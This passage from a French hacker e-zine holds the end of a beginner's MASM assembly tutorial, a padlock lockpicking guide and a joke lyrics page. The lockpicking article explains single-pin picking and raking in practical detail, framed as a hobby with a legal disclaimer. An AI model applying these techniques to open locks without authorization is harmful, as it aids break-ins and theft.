 Les processeurs 32 bits ( récents ) et 64 bits ont quelques autres régistres	 
 qui ont été ajouté pour amélioré la rapidité du traitement des données.	 
										 
*******************************************************************************



1.2 ) LA MÉMOIRE


Une  connaissance  de  base  du  fonctionnement  général  de  la   mémoire  est
nécessaire pour commencer à programmer en assembleur. La mémoire se  divise  en 
deux grosses parties ; la pile ( stack ) et le tas ( heap ).

La pile sert généralement à entreposer les variables locals  simples  déclarées 
dans  un  programme  ou  à  entreposer  les  adresses  de  variables  complexes 
( ex. tableau ) qui pointes vers le heap. La grosseure de la pile  dépend de la 
facon dont le prog a été compilé. Je ne vais pas donner un cours complet sur le 
fonctionnement de la mémoire mais ce qui est important à retenir pour coder  en 
asm c'est que lorsqu'on stock une valeur quelquonque  dans  la  pile,  celle-ci 
vient se mettre par dessus lautre valeur d'avant, donc  pour  utiliser  l'autre 
valeur d'avant il va falloir d'abbord dépiler la nouvelle valeur qu'on vient de 
rajouter. C'est le même principe qu'une pile d'assiettes de différente couleur. 
Si on en met une rouge, ensuite une verte par dessus,  ensuite  une  jaun e par 
dessus, pour aller chercher la rouge du début il va falloir d'abbord enlever la 
jaune, puis la verte. C'est tout ce qui est  important de savoir sur la mémoire 
pour une programmation assembleur basic.




2.0 ) PROGRAMMER EN ASSEMBLEUR 


Ce qui faut retenir en assembleur et non dans les autres  languages  c'est  que 
l'asm est un language de bas niveau donc il ne faut pas se casser la  tête.  Il 
n'existe  pas  vraiment  de  fonction complexe déjà défini comme en c++ tel des 
for, while, if-else, etc... Chaque fonction en assembleur  jou  un  seul  rôle, 
c'est en parti à cause de celà qu'un petit programme bien simple  en  asm  peut 
prendre facilement 1000 lignes de code tandis qu'il en aurait pris 50 en c++ (à 
peine exagéré). 



2.1 ) OUTILS NESCESSAIRES


Pour commencer, ça va vous prendre un compilateur et un linkeur  pour  compiler 
et pour 23nWpHvCQqZ32 ( seul les plus l33t saurons décrypter  le  mot  secret ) 
vos programmes assembleurs. Je vous suggère d'utiliser mASM qui a été développé 
par microsoft (déception) car il est simple d'utilisation  et fait très bien la 
job pour commencer. 

	Ensuite ça va vous prendre un éditeur de texte pour écrire le code. 



2.1.1) SYNTHAXE

Pour compiler un code écrit dans un .txt avec masm il suffit d'aller   dans  le
répertoire où masm et votre code sont situé dans un prompt dos  et  de tapper :
masm "chemin complet vers le code"code.txt. Exemple avec  un  code  qui  serait 
dans le même dossier que masm :  

c:\MASM> masm code.txt

Si tout va bien le compilateur va afficher : 



Microsoft (R) MASM Compatibility Driver
Copyright (C) Microsoft Corp 1993 blablabla

 Invoking: ML.EXE /I. /Zm /c /Ta code.txt

Microsoft (R) blablabla

 Assembling: code.txt

c:\MASM>



Avec aucune erreur le compilateur va retourner  de  lui  même  au  prompt  dos. 
Remarquez dans le dossier de votre programme que  masm  a  maintenant  créé  le 
fichier obj. C'est ce fichier qu'on doit  maintenant  linker  pour  obtenir  un 
executable. 


Ensuite on link le programme avec link.exe, de la même facon que masm.


c:\MASM> link code

Microsoft (R) Macro Assembleur blablabla
Copyright (C) Microsoft Corp blablabla

Run File [code.exe]:  on pèse sur enter
List File : on pèse sur enter
Libraries [.lib] : on pèse sur enter
Definitions File : on pèse sur enter

c:\MASM>


De retour au prompt dos, l'executable code.exe est maintenant créé. 




2.2 ) COMMANDES DE BASES

Voici quelques commandes de bases. Vous pourrai ensuite les voir en action dans 
la prochaine partie de l'article. 

 
- Les instructions d'affectations : 

MOV a,b   :	a = b
XCHG a,b  :	interchanger la valeur de a et b
PUSH a    : 	mettre a dans la pile
POP a     :	sortir a de la pile

- Les sauts

CMP a,b   :	a - b 
JMP a     :	saut à l'adresse a

Il existe une panoplie de sauts différents. Je ne vais pas les énumérer tous. 

- Les calculs arithmétiques

ADD a,b   :	a = a+b ( sans retenue )
ADC a,b   :	a = a+b ( avec retenue )
SUB a,b   :	a = a-b ( sans retenue )
SBB a,b   :	a = a-b ( avec retenue )
INC a     :     a = a+1
DEC a     :     a = a-1
NEG a     :     a = -a
MUL a     :     AX = AL  a
DIV a     :     AL = AX / a

- Les opérations logiques

AND a,b   :     a = a et b
OR a,b	  :	a = a ou b

- Les fonctions et interruptions

CALL a    :     appel de la fonction située à l'adresse a
RET       :     retour de la fonction
INT a     :     appel de l'interruption a
IRET      :     retour de l'interruption


Une interruption est une sorte de fonction déjà établie (oui j'ai menti talleur
en  disant  qu'il  n'avait  aucune  fonction  pré-fabriquée)  qui,  selon   les 
paramètres qu'on lui fourni, va effecuter sa tâche. Dans la prochaine partie de 
l'article  l'interruption 21 va être utilisée. Vous allez donc mieux comprendre 
la logique des interruptions. 



2.3 ) ANALYSE D'UN CODE SOURCE



-------->8---cut here--->8---------------------


ecran segment
		d db ?
	ecran ends
	pile segment para stack 'pile'
		db 256 dup (0)
	pile ends
	code segment para 'code'
		prog proc far
	
		assume cs:code,es:ecran
		push ds
		mov ax,0
		push ax



		mov ax,0b800h 	
		mov es,ax
		
		mov dh,0	
		mov cl,0	
		mov ch,0	
		
	et1: 	mov dl,dh	
		mov ah,2	
		int 21h		

		inc cl		
		cmp cl,15	
		jnz et2		
	
		mov dl,10	
		mov ah,2
		int 21h
		mov dl,13
		mov ah,2
		int 21h
		mov cl,0	
	
	et2: 	inc dh
		cmp dh,255	
		jnz et1		


		ret

	prog endp
	code ends
	end prog


-------->8---cut here--->8---------------------



Premièrement ce programme sert tout simplement à afficher  les  255  caractères 
de la table ASCII nord américaine que votre pc utilise probablement.  Pour voir 
la  table  des  codes  ASCII,  allez  faire  un tour sur www.asciitable.com  ou 
regardez l'image ASCII.gif disponible dans la version full du zine. 

On va commencer à assume... car ce qui a plus haut  n'est  qu'un  squelette  de 
base  et  n'influence  en  rien  l'action  du programme. Donc on lui dit que le 
segment es va être l'écran et que cs va être le code segment (ca sera important 
pour plus tard ). Ensuite l'instruction push sert à pousser un  régistre ou une 
valeur  dans  la  stack, permettant d'aller la rechercher par la suite. Il faut 
pas oublier que si on push plusieurs valeurs une après l'autre, la première est 
en dessous donc il va falloir aller sortir toutes les autres qu'on a pusher par 
dessus  avant  de pouvoir atteindre celle qu'on veux. Pour aller rechercher une 
valeur stockée dans la pile, on utilise l'instruction pop. exemple : 

push ax
[...]
pop ax

Ensuite vient l'instruction MOV AX,0. MOV sert  tout  simplement à  copier  une 
valeur  vers  une  place  quelquonce.  Dans  ce  cas on met la valeur 0 dans le 
régistre AX.  En  assembleur  chaque  régistre  peut  être  utilisé  comme  une 
variable. Ensuite on push ax dans la stack.


Ensuite  vient  l'instruction  mov ax,0b800h. Comme  vous  le savez sa  sert  à 
mettre 0b800 dans le régistre ax. Le h de la fin veut simplement  dire  que  le 
chiffre est en hexadécimal. 0b800 c'est l'addresse de l'écran  ( WTF !?! ).  En 
assembleur  il existe 2 mode: le mode graphique ou le mode console. L'affichage 
du mode console  commence à l'adresse B800. Le mode graphique est beaucoup plus 
compliqué je ne vais donc pas en parler dans cet article. Pour mieux comprendre 
l'affichage du mode console, essayez l'exercice suivant. 


1- Ouvrez une console dos et entrez dans l'utilitaire debug par la commande : 
   debug
2- Remarquez ce qui est écrit en haut de votre console : 
   Microsoft (R) Windows DOS
3- Ensuite allez modifier la valeur du premier caractère de l'affichage,  c'est 
   à dire le caractère qui se trouve exactement à l'adresse b800. Pour celà, on 
   utilise  la  commande  "e".  Tappez  donc  "e b800:0000" (adresse : offset). 
   Exemple: 
   
   c:\>debug
   -e b800:0000
   
4- Maintenant trouvez vous un nouveau caractère  à afficher, aidez vous avec la 
   table  ASCII.  Il ne faut pas oublier que les chiffres que vous allez entrer 
   vont  être  considérés comme des chiffres en hexadécimal. Donc pour afficher 
   le caractère 'A' il faudrait choisir le code ASCII 41 ( celui qui représente 
   le 'A' en hexa ). Entrez le chiffre. Exemple : 

   c:\>debug
   -e b800:0000
   B800:0000  XX.41

5- Regardez le haut de votre console ou allez vérifier dans la mémoire avec  la 
   commande  d b800:0000. Le  M de microsoft c'est transformé avec le caractère 
   de  votre  choix. Vous êtes donc aller directement modifier le contenu de la 
   mémoire à l'adresse du début de l'affichage console. 


  Après  avoir  mi  l'adresse  du  début  de l'affichage dans AX, l'instruction 
  suivante  met le régistre ax dans le segment es, qui est notre écran. On doit 
  passer  par  un intermédiaire ( ax bx cx dx ) pour mettre une adresse dans un 
  segment comme  on  le  fait.  C'est pourquoi on ne met pas directement 0b800h 
  dans es.

  Ensuite  on  initialise  nos  3  régistres dont on va se servir à 0 ( dx high
  level, cx low level et cx high level )

Bon,  là  on  commence  le  vif  du  programme. Et1: agit exactement  comme  un 
GOTO x: dans un batch file. C'est à dire que plus tard dans le programme, si on 
a  à  refaire  le  traitement qui se trouve dans Et1, alors on peut y retourner 
avec un  jump(expliqué plus tard).  Attention de ne pas confondre ceci avec une 
boucle.

Les trois instructions suivantes vont un peu ensemble.

mov dl,dh	
mov ah,2	
int 21h

On  va  commencer  par  la  fin pour mieux comprendre. int 21h  c'est  pas  une 
déclaration de variable int comme en c. Ca veut dire interruption 21. Le h sert 
encore à dire que c'est en hexadécimal. Bon, à quoi ça  sert  un  interruption. 
Chaque interruption fait une fonction définie. Pour bien comprendre tout ce que 
l'interruption 21 peut faire il faudrait écrire un zine seulement sur ca  alors 
disont  que  en  gros,  l'interruption 21 va prendre le caractère qui se trouve 
dans dl  ( en code ASCII )  et  va l'afficher à l'écran. Mais l'interruption 21 
fait beaucoup  d'autre  chose, c'est pourquoi les int sont divisés en fonction. 
La fonction appelée  se trouve dans ah. Donc on peut voir ici que l'interuption 
21 fonction 2 est appelée  pour afficher ce qui se trouve dans dl, c'est à dire 
0  car  on  mov  dh  dans  dl,  dh  contenant 0. Donc à la fin de ces 3 lignes, 
l'interuption 21 fonction 2 va afficher le caractère corespondant au code ASCII 
0.


inc cl		
cmp cl,15	
jnz et2	


inc  agit  exactement  comme  ++  en c. il va tout simplement incrémenter  le 
registre de 1. Comme là, cl vallait 0 mais maintenant il vaut 1. 

Ensuite cmp cl,255 va comparer ( cmp = compare ) la valeur dans  le  régistre 
avec celle  demandé.  Ici  il compare la valeur de cl ( qui est 1 ) avec 15. Je 
rapelle  que  l'assembleur  est le language le plus proche du language machine, 
donc il ne faut  pas compliquer les choses. cmp ne fait que comparer 1 régistre 
avec une valeur.

jnz est  une  catégorie de jump. L'instruction jump sert à sauter à une place 
plus loin mais il existe plusieurs jump. Celui ci, jnz, va sauter à et2  si  la 
comparaison échoue. C'est donc dire que cmp cl,15 est faux car cl vaut 1,  donc 
il  va  sauter  à et2. Si cl contenait 15, la comparaison aurait réussi donc le 
jnz et2 aurait eu aucun effet, il aurait été completement transparent.

Pour  bien  comprendre  je  vais  suivre  le  déroulement du programme et non 
déblaterrai tout ce que les lignes font pour rien.

Donc on saute à et2. 

inc dh
cmp dh,255	
jnz et1	

On augmente de 1 la valeur de dh avec inc dh, ensuite on compare dh avec 255, 
si  la réponse est positive on continu mais ici, dh étais rendu à 1, la réponse 
est négative donc le jnz et1 fait son effet et on remonte à et1.

Le  processus  se continu et affiche les code ASCII 0 1 2 3 4 5 6 7 8 9 10 11 
12 13 14 15. Rendu à 15, le cmp cl, 15 retourne la valeur vrai pour la première 
fois, le jnz et2 est donc pas executé et on continu le code.

mov dl,10	
mov ah,2
int 21h
mov dl,13
mov ah,2
int 21h
mov cl,0	

On  met  10  dans  dl, et on execute l'interruption 21 avec la fonction 2. Si 
vous  regarger  dans  la  table  ASCII  vous  aller  constater  que  le code 10 
correspont à  une  nouvelle  ligne,  donc  le  programme descend d'une ligne et 
immédiatement après  les  3 instructions qui suive sont la même chose mais avec 
le code ASCII 13, celui-ci signifiant retour de chariot, c'est à dire le retour 
au début de la ligne. Ensuite on remet le compteur de colone à 0.

Et  le  code  continu  à s'éxécuter ligne par ligne, c'est à dire qu'on continu 
avec

inc dh
cmp dh,255	
jnz et1
 
[...]

jusqu'à ce que dh soit rendu à 255. Dans ce cas, jnz et1 ne sera pas executé et 
le programme se termine. 





2.4 ) APPROFONDIR

Maintenant qu'on connait et qu'on comprend le code, il serait intéressant  de 
tenter de le modifier. On va commencer par quelque chose de simple. Mettons que 
je décide de ne pas faire afficher le caractère "p" parce que je trouve que "p" 
c'est laid, comment j'm'y jprend?


Une façon simple de le faire serait de rajouter une condition qui  compare dh 
avec  la  valeur  du  code ASCII du caractère "p" qui est 112 en décimal et qui 
incrémente  dh  avant  l'affichage si la réponse est positive. Ce qui ferait en 
sorte de ne pas afficher le code ASCII 112. 

	Le nouveau code ressemblerait environ à ceci: 



----------------->8-----cut here------>8-----------------------------------

; [...]

	assume cs:code,es:ecran
		push ds
		mov ax,0
		push ax



		mov ax,0b800h 	
		mov es,ax
		
		mov dh,0	
		mov cl,0	
		mov ch,0	
		
; On rajoute notre nouvelle condition avant l'affichage
	 	
	et0:	cmp dh,112
		jnz et1
		inc dh


	et1:	mov dl,dh
		mov ah,2	
		int 21h		

		inc cl		
		cmp cl,15	
		jnz et2		
	
		mov dl,10	
		mov ah,2
		int 21h
		mov dl,13
		mov ah,2
		int 21h
		mov cl,0	
	

; Et on update le jump ici

	et2: 	inc dh
		cmp dh,255	
		jnz et0		




; [...]



----------------->8-----cut here------>8-----------------------------------




2.5 )  CONCLUSION

C'est fini pour le moment. Pour avoir plus de documentation sur l'assembleur, 
je vous invite à copy/paster ca dans votre browser : 
http://www.google.ca/search?q=programmation%20assembleur

.----------------------------------------------- - - --- - ---
| Sp1d3r   [linux_sucker at hotmail dot com] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -





                        ,----,                   ,----,
                       /   || \                 /   || \
M                     /    ||  \               /    ||  \
A                    /      ||  \             /      ||  \ 
Y                   /       ||   \           /       ||   \                |
                   /        ||    \         /        ||    \              \|/
T                 /          ||    \       /          ||    \            --o--
H                /           ||     \     /           ||     \            /|\
E               /\           ||      \   /\           ||      \            |
               |  \\          ||    //\ |  \\          ||    //\
B              |    \\        ||   //  \|    \\        ||   //  \
A              |      \\      ||  //    |      \\      ||  //    \
N               \       \\    |,-----,   \       \\    || //      \
D                \        \\  /       \   \        \\  ||//        \
W                 \         \/         \   \         \\||/          \
I                  \        /-,         \  /\          ||            \
D                   \      | / \        --/  \        //||           |
T                    \     |/___|            _\      // ||\\         |  
H                     \    |\   |       ____/| \    //  ||  \\       |
                       \  //\\_/        /   /   \  //   ||    \\    /
B                       \//  \         /\\ /     \//    ||      \\ /
E                        \    \_______/   /       \     ||        /
                          \     ||       /         \     ||      /
W                          \    ||      /           \    ||     /
I                           \   ||     /             \   ||    /
T                            \  ||    /               \  ||   /
H                             \______/                 \_____/  

U         The news mkd-101-fighter, hunting the stupidity trough the galaxy, bringing
S         light, lazer and big gun to complete his mission. 





    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__
¦
|           mkd.12  Le lockpicking et la sécurité dans le monde réel
:                              aka 'ya un trou dans ta serrure'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |



-= Introduction =-
-------------------

Depuis  que  l'homme  accumule  des biens, celui-çi cherche donc à  ce  que  le 
résultat  de  ses  labeurs  soit  protégé  des  regards indiscrets et des mains 
malveillantes. Les premiers cadenas voient leur  apparition  au  début de l'ère 
Égyptienne et font toujours parti de notre quotidien en ce monde d'aujourd'hui. 
Leur  utilisation  est capitale et le chaos régnerait si, du jour au lendemain, 
leur utilité serait négligée. Toutefois, sont-ils vraiment sécuritaire?  Est-ce 
qu'une serrure est plus un outil de dissuasion psychologique qu'une  mesure  de 
sécurité réelle?


-= Mise en garde =-
--------------------

Le  lockpicking, contrairement à ce que plusieurs peuvent croire, n'est pas une 
technique  propice  à  commettre  un  vol. Le lockpicking est un casse-tête, un 
hobby, un passe-têmps. C'est l'art d'ouvrir  une  serrure  sans l'endommager et 
sans utiliser la clef d'origine. Parfois, certaines serrures sont très facile à 
ouvrir;  dans  d'autres cas, elles sont extrêmement difficiles. Afin de devenir 
un  maître  dans  l'art  du  lockpicking,  il  vous  faudra  plusieurs   années 
d'expérience  afin  de  maîtriser  les  outils  de  façon  efficace.   Certains 
''padlocks'' m'ont pris plus de 1 mois à lockpicker, d'autres de  marque  Abloy 
que  j'ai  simplement  jamais réussi, tandis que si j'avais pris une pince pour 
couper l'arceau, je l'aurais probablement ''ouvert'' en moins d'une seconde. Si 
vous  voulez commettre un crime, ce que je désapprouve à part entière, alors la 
force brute  est  votre  amie car j'imagine que le temps est primordial dans ce 
type  d'opérations.  Le  lockpicking  n'est pas alors une solution à envisager. 
C'est d'ailleurs pourquoi lorsque vous vous êtes fait voler quelque chose  dans 
votre  vie, c'était par une porte défoncée ou par un cadenas coupé; les voleurs 
veulent pas se casser la tête pendant des heures afin d'avoir vos biens. Ce fût 
le  cas  de  mon  beau vélo :-( Les lockpickers s'intéressent seulement qu'à la 
serrure,  ils  se  balancent  bien de ce que la serrure peut bien garder. Il ne 
faut  pas  faire  un  lien  entre un voleur et un lockpicker, c'est deux mondes 
COMPLÈTEMENT différents. Je tiens d'ailleurs à prendre l'occasion de  m'exclure 
de  toute  responsabilité  d'acte(s)  perpétré(s)  par  des  imbéciles liant le 
lockpicking expliqué dans ce texte à toute criminalité, quelle qu'elle soit.


-= Les outils =-
----------------

Dans les films hollywoodiens, lorsque vous voyez James Bond ouvrir une serrure, 
il  entre  un truc dans celle-çi et voilà elle est ouverte. Cela est apellé une 
clef.  Pour  faire  du  lockpicking,  vous  avez besoin d'au moins 2 outils. Le 
premier, qui est à mon avis le plus important, est le ''tension wrench''  (voir 
tension.gif) ou en français, l'outil de tension. C'est ce qui permet de tourner 
la  plug,  le cylindre  lui-même  de  la  serrure. Le second outil est ce qu'on 
apelle  un  pick  (voir picks.gif).  Il  y existe plusieurs sortes de picks qui 
viennent  de  différentes  formes.  Les  2  picks  les  plus  communs  sont les 
''rakers'', en forme de vagues, et les ''fellers'' qui ressemblent à  un  doigt 
pour  venir  lever les pins une après une. Vous pouvez acheter sur internet des 
picksets qui sont des étuis qui contiennent plusieurs tensions wrench et picks. 
Il  y  existe des modèles pour débutant à 4 tensions wrench et 10 picks et vous 
pouvez  monter  à  des picksets qui contiennent des centaines d'accessoires. Un 
petit  pickset  de  marque  SouthOrd,  14 morceaux  à 40$CDN incluant les frais 
transport  à  partir  des  État-Unis,  est  l'idéal  pour  les débutants et les 
intermédiaires  car  de toute manière, les picksets plus volumineux ont souvent 
les  mêmes  outils  de  base qui reviennent 2 ou 3 fois :/ N'achetez pas dès le 
début  un  gros  kit  car  premièrement,  vous savez pas si vous allez avoir la 
patience et la dextérité de faire du  lockpicking et en second, ce qui arrive à 
tous,  vous  allez briser vos outils, c'est inévitable. C'est très difficile au 
début  de  savoir  le bon niveau de tension à appliquer au cylindre, vous allez 
donc  plier  vos  outils  de tension. Donc commencez cheap et une fois que vous 
avez maitrisé la technique  vous pouvez changer de pickset vers un kit des plus 
complet.

Pour  l'obtention  de ces outils, oui ils sont légaux au Canada.  Veuillez lire 
le paragraphe çi-dessous tiré du Code Criminel du Canada disponible à l'adresse 
suivante: 

http://lois.justice.gc.ca/fr/c-46/19051.html

- Possession d'outils de cambriolage

351. (1) Est  coupable  d'un  acte  criminel  et  passible  d'un emprisonnement 
maximal de dix ans quiconque, sans excuse légitime dont la preuve lui  incombe, 
a en s a possession un instrument pouvant servir à pénétrer par effraction dans 
un endroit,  un véhicule à moteur, une chambre-forte ou un coffre-fort dans des 
circonstances  qui  donnent raisonnablement lieu de conclure que l'instrument a 
été utilisé, est destiné ou a été destiné à être utilisé à cette fin.

Bref,  l'important  dans  cette  ligne  sont  les  derniers  propos ' 'dans des 
circonstances qui donnent  raisonnablement  lieu de conclure que l'instrument a 
été  utilisé,  est  destiné  ou a  été destiné à être utilisé à cette fin.'' Le 
lockpicking  est  en  soi 1 00% légal si il est pratiqué de façon honnête, tout 
comme  les outils qui si sont rattaché. C'est légal tant et aussi longtemps que 
l'utilisation  des  outils  restent  dans  une  optique de lockpicking, soit de 
hobby,  de  casse-tête,  ou  simplement  pour  les serruriers qui utilisent ses 
outils pour travailler de façon honnête. 


-= Comment cela fonctionne =-
-----------------------------

Il y existe plusieurs types de cadenas, plusieurs  marques, plusieurs prix donc 
différent  niveaux de sécurité. Toutefois, il arrive à maintes reprises que les 
cadenas  les  plus  gros  soient  en  réalité  les plus facile à lockpicker. La 
grosseur  de  la  base,  de  l'arceau,  bref  du c adenas lui-même est d'aucune 
importance par rapport à son niveau de sécurité car les lockpickers ciblent que 
la  serrure  (ou  une autre faille dans le mécanisme de rétention de l'arceau). 
Donc un cadenas très volumineux et très lourd est probablement efficace  contre 
les  voleurs  no-brainers  qui  utilisent  des  pinces et des scies, mais si la 
serrure elle-même est de piètre qualité, elle sera très facile à ouvrir pour un 
lockpicker.  Je  vais aujourd'hui focuser sur les cadenas de type ''padlocks'', 
ces  fameux cadenas que l'on voit simplement partout; un padlock sont ceux avec 
un  arceau  en ''U'' dans le haut, la serrure très souvent orientée vers le bas 
(voir  image  lock1.jpg).  Pour  un  lockpicker,  ces  cadenas  sont simplement 
fantastique  à  ouvrir  car ils font un beau ''click'' une fois que le cylindre 
est tourné :)

Une  serrure  fonctionne selon un principe assez simple mais qui demande un peu 
de réflexion, car avant de lockpicker des serrures, il faut  comprendre comment 
elles  fonctionnent.  Les  serrures  conventionnelles ont environs 5 niveaux de 
pins  et  chaque niveau a une top-pin (driver pin) et une bottom-pin (key pin). 
La bottom pin est celle qui touche à la clef lorsque vous insérez celle-çi dans 
la serrure. Les 5 (ou parfois plus, desfois moins) niveaux de pins sont poussés 
vers le bas par un ressort qui est placé par dessus la driver pin. Lorsque vous 
insérez  la  clef, vous montez alors la bottom pin et celle-çi monte à son tour 
la  top-pin  jusqu'attend que les 5 niveaux de pins soient en ligne droite avec 
le  dessus  du  cylindre de la serrure. On appelle cette zone la ''sheer line'' 
(voir lock2.gif). Les pins, autant la top-pin (driver) que la bottom-pin (key), 
ne  sont  pas  de  la  même  longueur,  ce  qui  explique  pourquoi  une clef a 
différentes hauteurs de coupe.

Pour  les  compagnies  de  serrures, il est presque impossible que les trous du 
cylindre  où  sont  les  5 niveaux de pins soient parfaitement allignés lors de 
leur  création.  Desfois, les pins elle-mêmes sont plus petites que les autres, 
desfois c'est réellement les trous qui sont désalignés les uns par rapport  aux 
autres (voir lock3.gif). La machine qu'ils utilisent pour faire ses  trous  est 
très  précise  mais  à  cause  des  vibrations  constantes  et du temps, il est 
impossible  pour  eux  de faire les trous 100% aligné. Même un désalignement de 
moins  d'un  millimètre  fait  que le lockpicking classique soit possible. Donc 
l'astuce ce passe içi: Si vous appliquez de la tension dans la serrure dans  le 
sens  horaire  (parfois  anti-horaire, mais plutôt rare) à l'aide d'un outil de 
tension, nommé ''tension wrench'', il va y avoir au moins un niveau de pins qui 
va  ''binder''  avant  les autres, ce qui veut dire que si vous levez ce niveau 
avec un feeler pick, vous  allez  sentir plus de résistance que les niveaux qui 
''binds'' pas. En mettant de la tension dans le cylindre, vous forcez le niveau 
le  plus  désaxé  à  accrocher  contre le cylindre, ce qui fait que vous sentez 
cette résistance qu'il y a pas sur les autres niveaux de pins. Une fois que  le 
niveau  le  plus  desaxé  est levé au niveau du sheer line avec un finger pick, 
vous  allez  entendre  un  petit click, le cylindre va tourner légèrement étant 
donné  qu'il  y  a  la  tension horaire de l'outil de tension, et vous venez de 
setter  une  pins  (voir  lock4.gif).  La  top-pin est retenue par le dessus du 
cylindre,  tandis  que  la  bottom  pin  de  ce  niveau, vu qu'elle n'a plus la 
pression du ressort du haut, retombe vers le bas du cylindre par gravité.  Vous 
pouvez  d'ailleurs  sentir  avec  votre  pick  qu'elle  n'a plus la pression du 
ressort contrairement aux autres niveaux. Vous venez de setter une pin. Il vous 
en  reste  donc  4,  et ainsi de suite. Cette technique est celle dont tout les 
lockpickers  jurent  car  elle  demande  beaucoup  d'expérience  et  elle   est 
réellement  amusante  car  on  sait  combien de pins il reste avant d'ouvrir le 
cadenas.  Une  fois  le  dernier  niveau  de pins est setté, la plug (cylindre) 
tourne complètement et le cadenas ouvre.

Une  seconde  technique  pour ouvrir les padlocks est d'utiliser le ''racking'' 
avec un pick en forme de vague ou en forme de scie (voir picks.gif). Le racking 
demande  moins  d'expérience  que  la méthode manuelle expliquée çi-dessus mais 
permet  souvent  d'ouvrir  très  rapidement  une  serrure. C'est une très bonne 
technique  pour  débuter et personnellement, j'essaie toujours le racking avant 
la  méthode  manuelle  car  elle  peut sauver beaucoup de temps. Le racking est 
simple:  si  vous  mettez  un  peu de tension dans votre cylindre à l'aide d'un 
tension  wrench  et que vous passez très vite en dessous de tout les niveaux de 
pins avec un pick en forme de vague et en les levant vers le haut, vous  pouvez 
setter  les  top  pins  sans  même  vous  souciez  de laquelle bind en premier. 
Quelques  coups  de  racking  suffisent  souvent  à  ouvrir  un  padlock   très 
rapidement. Desfois un seul coup avec un mouvement circulaire du tension wrench 
continu  et  bien perpétré parvient à ouvrir le cadenas. Toutefois, étant donné 
que vous faites un mouvement horizontal rapide en dessous des bottoms pins vers 
le  top du cylindre, vous venez égratigner les pins et le top du cylindre, donc 
vous  laissez  des marques, des traces là où normalement une clef en laisserait 
pas.  Vous  laissez  aussi  de  la poussière métallique (microscopique) dans le 
cadenas  car  le  racking est nul autre qu'un frottement, donc le pick en métal 
s'éffrite contre les pins en métal, très légèrement certes, mais s'éffrite tout 
de  même.  Les  forces  de  l'ordre  savent  ce genre d'astuces et peuvent donc 
facilement identifier si une serrure a été ''rackée'' à l'aide d'analyses.

-= Conclusion =-
-----------------

Voiçi les deux techniques de base  du  lockpicking.  Les  images utilisées sont 
tirées  en  grande  partie  de  l'excellent  guide  de  lockpicking  disponible 
gratuitement sur Internet nommé le ''MIT Guide to Lock Picking'' écrit  par Ted 
''the Tool'' en 1991. Malgré  ses  13 ans, ce guide est encore LA référence car 
les constructeurs de cadenas utilisent encore les mêmes procédés de fabrication 
que  durant  les 50  dernières années; en autant que les clefs standards seront 
utilisées,  ce  guide  sera  valide.  Il  est  extrêmement  complet et c'est un 
''must read'' pour  tout  les  lockpickers  qui  débutent  ou  comme  outil  de 
référence pour les plus expérimentés. J'ai créé un petit vidéo (voir htppl.avi) 
pour  mon  ami  Gasg  du  #2600ca  afin de lui montrer qu'un padlock Master #5, 
malgré  sa  taille  et  son  poids  relativement  imposant,  est  très facile à 
lockpicker.

Conseils récapitulatifs: 
       1) Commence avec un petit kit!
			 2) Relaxe sur la tension avec le wrench, tu blockes les pins et  tu  vas 
			    plier ton outil!
       3) Comme tout hobby, pour être bon il faut pratiquer, encore et encore!
			 4) Quand  un  padlock  te tient tête, prends pas les nerfs! Laisse-le de 
			    côté,  prends-en  un  plus  simple, ouvre-le et ça te mettera dans le 
			    ''beat'' pour l'affronter de nouveau! *(I KNOW I CAN DO IT!)*

Greetings: JPal ''ayoye mon string'', Gasg, Vric ''Buy it now'', Wyzeman, Northox et la clique géniale de Mindkind.
- Hacktoad
27/07/2004
-------------------------------------------------------------------------------------------------

.----------------------------------------------- - - --- - ---
| Hacktoad   [secret mail] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -


Pour ceux qui pensaient que nous sommes saints d'esprit, désolé.

< bgsound = http://thefucksociety.com/bananaphone.mp3 >

  Ding-a-ling-ling-ling-ling-ling-ling-ling!

  Boo-ba-doo-ba-doop!
  Boo-ba-doo-ba-doop!

  Ring ring ring ring ring ring ring banana phone
  Ring ring ring ring ring ring ring banana phone
  I've got this feeling, so appealing,
  for us to set together and sing. Sing!

  [...]

  Ring ring ring ring ring ring ring banana phone
  Boop-boo-ba-doo-ba-doop!
  Ping pong ping pong ping pong ping panana phone
  It's no bolagna, it aint a phony!
  My cellular bananular phone!

  Banana phone, ring ring ring!
  (It's a phone with appeal!)
  Banana phone, ring ring ring!
  (Now you can have your phone and eat it too!)
  Banana phone, ring ring ring!
  (This song drives me, Bananas!)
  Banana phone, ring ring ring!

  Boo-ba-doo-ba-doop-doop-doop!

> LOOP UNTIL YOUR HEAD EXPLOZE
  http://www.thefucksociety.com/anim.php?id=bananaphone&w=550&h=400

> Records d'écoute en loop de bananaphone.mp3 :
  - 4h30 min / WM
  - 3h15 min / LC
  - 2h / IN
  - 1h / G4
  - 1h / MF
  - ?? / ??



    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__
¦
|           mkd.13  Perl : À la conquête du chameau; Part 5
:                              aka 'Time to really use the force'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |


Nous voici donc rendu dans les restants et coins lugubres de mon tutorial.  En
faite j'ai essayé  tout  au long de ce  tuto d'insérer les boutes  "freaks" du
moment, mais  au cours  du temps  (surtout avant  d'écrire le dernier épisode)
j'ai ramasser  plein d'affaires  cool, qui  fittait pas  vraiment... Dans  les
affaires cools je parles des regex, qui sont une partie importante à considéré
en Perl lorsque vous parsez du texte. En faite, pour tout langage les  Regular
Expression (regex) sont importantes lorsqu'il s'agit de parser quelque  chose.
Aussi, ya plein de fonctions en perl qui servent a manipuler des variables, de
façons  a  ce  que  la  logique  du  programme  revienne  a  autre  chose  que
"J'incrémente mon putain de $i pour avancer dans un tableau".

